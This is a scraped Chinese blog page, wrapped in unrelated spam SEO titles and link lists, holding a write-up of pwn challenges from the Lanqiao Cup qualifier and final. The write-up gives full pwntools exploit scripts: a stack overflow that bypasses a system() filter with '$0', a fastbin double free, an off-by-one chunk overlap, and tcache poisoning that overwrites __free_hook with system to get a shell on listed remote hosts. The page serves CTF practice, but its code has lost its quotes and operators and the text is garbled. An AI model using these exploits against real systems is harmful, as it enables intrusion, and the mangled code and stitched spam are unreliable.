当前位置: 首页 > news >正文

做网站外包公司名称安徽圣力建设集团网站

做网站外包公司名称,安徽圣力建设集团网站,wordpress评论链接转换,淄博做网站58同城蓝桥杯初赛决赛pwn题解 初赛第一题第二题 决赛getting_startedbabyheap 初赛 第一题 有system函数#xff0c;并且能在bss上读入字符 而且存在栈溢出#xff0c;只要过掉check函数即可 check函数中#xff0c;主要是对system常规获取权限的参数#xff0c;进行了过滤并且能在bss上读入字符 而且存在栈溢出只要过掉check函数即可 check函数中主要是对system常规获取权限的参数进行了过滤用$0即可 exp from pwn import * li lambda x : print(\x1b[01;38;5;214m x \x1b[0m) ll lambda x : print(\x1b[01;38;5;1m x \x1b[0m) def s(a):p.send(a) def sa(a, b):p.sendafter(a, b) def sl(a):p.sendline(a) def sla(a, b):p.sendlineafter(a, b) def r():p.recv() def pr():print(p.recv()) def rl(a):return p.recvuntil(a) def inter():p.interactive() def bug():gdb.attach(p)pause()context(oslinux, archamd64, log_leveldebug) p remote(, ) rl(restricted stack.\n) payb$0 s(pay)rl(...\n) payba*0x28p64(0x0000000000400933)p64(0x601090)p64(0x400778) s(pay)sleep(0.5) sl(bexec 10)inter()第二题 经典堆菜单题目 发现没有edit功能考虑double free。版本为2.31 09.9 挨个分析 add函数申请堆块部分 只能申请0x50大小的堆块并且能读入0x50字节的大小内容 free部分 free之后有置零所以不存在uaf漏洞 show就是个正常打印 漏洞是在这个函数 没有置零关键部分所以存在uaf漏洞因为只能申请0x50大小的堆块所以考虑使用fastbin的double free 具体思路 先把tcachebin填满 之后利用后门函数free一个进fastbin然后正常再free两个堆块第二次free的是后门free的那一个 以此构造出double free然后把tcache bin全部申请回来然后再申请一个fastbin的堆块fastbin的其他堆块就会进入到tcache bin里因为前面已经构造了double free所以这次可以修改fd的末位然后就能申请出来这个错位的堆块A修改堆块的size然后free进unsorted bin之后申请一个小块B泄露libc然后free这个小块B再free小块AA需要提前伪造好size位然后申请回来A把B的fd改为free hook然后打free hook为system即可 from pwn import * li lambda x : print(\x1b[01;38;5;214m x \x1b[0m) ll lambda x : print(\x1b[01;38;5;1m x \x1b[0m) def s(a):p.send(a) def sa(a, b):p.sendafter(a, b) def sl(a):p.sendline(a) def sla(a, b):p.sendlineafter(a, b) def r():p.recv() def pr():print(p.recv()) def rl(a):return p.recvuntil(a) def inter():p.interactive() def bug():gdb.attach(p)pause() def get_addr():return u64(p.recvuntil(b\x7f)[-6:].ljust(8, b\x00)) def get_sb():return libc_base libc.sym[system], libc_base next(libc.search(b/bin/sh\x00))context(oslinux, archamd64, log_leveldebug) p remote(,) libc ELF(./libc.so.6)def add(c):rl(4.exit\n)sl(str(1))sleep(0.2)s(c)def free(i):rl(4.exit\n)sl(str(2))sleep(0.2)sl(str(i))def show(i):rl(4.exit\n)sl(str(3))sleep(0.2)sl(str(i))def free2(i):rl(4.exit\n)sl(str(0x202405))sleep(0.5)sl(str(i))add(b\x00*0x38p64(0x61)) add(b\x00*0x28p64(0x61)) for i in range(12):add(ba) #为伪造size做准备 for i in range(7):free(i2) free(9) free(10) free2(0) free(1) free(0) for i in range(7):add(ba) add(b\x30) add(ba) add(ba) add(b\x00*0x28p64(0x421)) #修改size位 free(6) add(ba) show(6) libc_baseget_addr()-0x1ecf61 li(hex(libc_base)) free_hooklibc_baselibc.sym[__free_hook] li(hex(free_hook)) system,binget_sb() free(11) free(6) free(10) add(b\x00*0x28p64(0x61)p64(free_hook)) #修改fd位 add(b/bin/sh\x00) add(p64(system)) free(10)inter()哪里不明白调试调试就行了 决赛 getting_started 比赛的时候先看的这个题目本地打通的了远程打不通这个随机值纯看脸我脸黑重开靶机10次左右才打通但是没血了 以时间为种子产生随机值 然后就是一个栈溢出 这个开启pie了并且没法泄露东西所以就正常输入随机值了 之后就是一个菜单题目 add函数最大申请0x100的堆块 漏洞在edit里 这是先读入后判断所以存在off by one实际还有个null 思路就是利用off by one修改size构造堆块重叠 利用思路 因为堆块限制的不强所以直接free满tc进入unsorted之后再申请回来一部分然后show出来libc 然后off by one构造堆块重叠利用重叠的堆块修改fd申请到free hook然后打free hook为system exp from pwn import * from struct import pack from ctypes import * from LibcSearcher import * import base64 import gmpy2 li lambda x : print(\x1b[01;38;5;214m x \x1b[0m) ll lambda x : print(\x1b[01;38;5;1m x \x1b[0m) def s(a):p.send(a) def sa(a, b):p.sendafter(a, b) def sl(a):p.sendline(a) def sla(a, b):p.sendlineafter(a, b) def r():p.recv() def pr():print(p.recv()) def rl(a):return p.recvuntil(a) def inter():p.interactive() def bug():gdb.attach(p)pause() def get_addr():return u64(p.recvuntil(b\x7f)[-6:].ljust(8, b\x00)) def get_addr1():return u32(p.recvuntil(\xf7)[-4:].ljust(4,\x00)) def get_sb():return libc_base libc.sym[system], libc_base next(libc.search(b/bin/sh\x00))context(oslinux, archamd64, log_leveldebug) #p process(./pwn) p remote(39.106.48.123, 22289) elf ELF(./pwn) #libcELF(/lib/x86_64-linux-gnu/libc.so.6) #libc ELF(./libc-2.31.so)def add(idx,size):rl(:)sl(str(1))rl(Index: )sl(str(idx))rl(Size )sl(str(size))def edit(idx,c):rl(:)sl(str(2))rl(Index: )sl(str(idx))rl(Content: )s(c)def show(idx):rl(:)sl(str(3))rl(Index: )sl(str(idx))def free(idx):rl(:)sl(str(4))rl(Index: )sl(str(idx))libc cdll.LoadLibrary(./libc-2.27.so) seed libc.time(0) srand libc.srand(seed)a[0,0,0,0,0,0,0,0,0,0] for i in range(7):a[i]int(str(libc.rand()% 80 32).encode()) rl(please login \n) payp8(a[0])p8(a[1])p8(a[2])p8(a[3])p8(a[4])p8(a[5])p8(a[6]) sl(pay)libcELF(./libc-2.27.so)for i in range(10):add(i,0x90) for i in range(7):free(i)free(7) show(7) for i in range(7):add(i,0x90) add(7,0x20) show(7) libc_baseget_addr()-0x3ebd30 li(hex(libc_base)) free_hooklibc_baselibc.sym[__free_hook] system,binget_sb() for i in range(11):add(i10,0x68)edit(17,ba*0x68p8(0xe1)) free(18) free(19) add(18,0xd8) edit(18,ba*0x68p64(0x71)p64(free_hook)b\n) add(27,0x68) edit(27,b/bin/sh\x00\n) add(28,0x68) edit(28,p64(system)b\n) free(27)inter()babyheap 同样也是4个功能 申请给限制到0-0x60 有个后门可以申请一个大堆块 free函数中存在uaf漏洞 这个题目和初赛的第二题有点像这个题目更好布置堆块 也是通过double free修改fd的末位不过这个要小布置一下堆块因为这个edit会在末位填上null申请出来错位的堆块A修改一下sizefree进unsorted然后show出libc取出来这个堆块A包含的堆块free进tc里通过A修改它的fd为free hook然后打free hook为system exp from pwn import * from struct import pack from ctypes import * from LibcSearcher import * import base64 import gmpy2 li lambda x : print(\x1b[01;38;5;214m x \x1b[0m) ll lambda x : print(\x1b[01;38;5;1m x \x1b[0m) def s(a):p.send(a) def sa(a, b):p.sendafter(a, b) def sl(a):p.sendline(a) def sla(a, b):p.sendlineafter(a, b) def r():p.recv() def pr():print(p.recv()) def rl(a):return p.recvuntil(a) def inter():p.interactive() def bug():gdb.attach(p)pause() def get_addr():return u64(p.recvuntil(b\x7f)[-6:].ljust(8, b\x00)) def get_sb():return libc_base libc.sym[system], libc_base next(libc.search(b/bin/sh\x00))context(oslinux, archamd64, log_leveldebug) p remote(8.147.132.99,23464) elf ELF(./pwn) libcELF(./libc.so.6)def add(idx,size):rl( \n)sl(str(1))rl(index: \n)sl(str(idx))rl(size: )sl(str(size))def free(idx):rl( \n)sl(str(2))rl(index: \n)sl(str(idx))def edit(idx,c):rl( \n)sl(str(3))rl(index: \n)sl(str(idx))rl(contents: \n)s(c)def show(idx):rl( \n)sl(str(4))rl(index: \n)sl(str(idx)) def add2(size):rl( \n)sl(str(555))rl(find me\n)sl(str(size))add(0,0x60) add(1,0x60) add2(0x400) add(2,0x60)free(1) free(0) edit(0,b\n) add(3,0x60) add(4,0x60) edit(4,p64(0)p64(0x481)b\n) free(1) show(1) libc_baseget_addr()-96-0x10-libc.sym[__malloc_hook] li(hex(libc_base)) free_hooklibc_baselibc.sym[__free_hook] system,binget_sb()add(5,0x60) free(2) free(5) edit(4,p64(0)p64(0x71)p64(free_hook)b\n) add(6,0x60) edit(6,b/bin/sh\x00\n) add(7,0x60) edit(7,p64(system)b\n) free(6)inter()
http://www.tj-hxxt.cn/news/138682.html

相关文章:

  • 响应式网站底部怎么做装修设计公司有哪些
  • 苏州建设公司网站专业的vi设计企业
  • 上海网站原型设计网络服务模型
  • 网站建设和管理颁奖电子商务网站页面设计图片
  • api模式网站开发介绍花店网站建设
  • 网站流量统计分析谷歌seo难吗
  • 有网站代码怎么建设阿里巴巴做特卖的网站
  • 网站开发应用技术专业聊城制作手机网站
  • wordpress恢复主题wordpress博客seo优化插件
  • 中国免费网站服务器主机域名开江建设局网站
  • 韩文网站域名备案蓝海网站建设
  • 在哪了做网站音乐制作专业留学
  • 网站推广易网宣网站建设简述需求分析的基本概念及内容
  • 金华网站建设yw126wordpress添加视频集
  • 建设银行广州分行网站虚拟机主机网站建设的几个步骤
  • 心理教育网站建设目的丰都网站
  • 网站建设专业名词解释网站湛江企业网站建设
  • 包头有没有专业做淘宝网站的代码运行框wordpress6
  • 网站举报查询大庆哈尔滨网站建设
  • 网站首页空白 wordpress计算机科学专业就业方向
  • 阿里巴巴网站建设规划it运维职业规划
  • 怎么做网站主页设计高端网站建设步骤
  • 仿京东网站后台学设计在哪学比较好
  • 做交互网站做一个在线交易网站需要多少钱
  • 色块布局网站首页模板好的公司网站有什么用
  • 亚当学院网站建设视频教程长沙官网seo技术
  • 网站模板套用顺德网页定制
  • 苏州快速建设网站公司深圳建设交易平台官网
  • ui设计网站成品图片如何建立像百度一样的网站
  • 北京seoqq群西安优化外包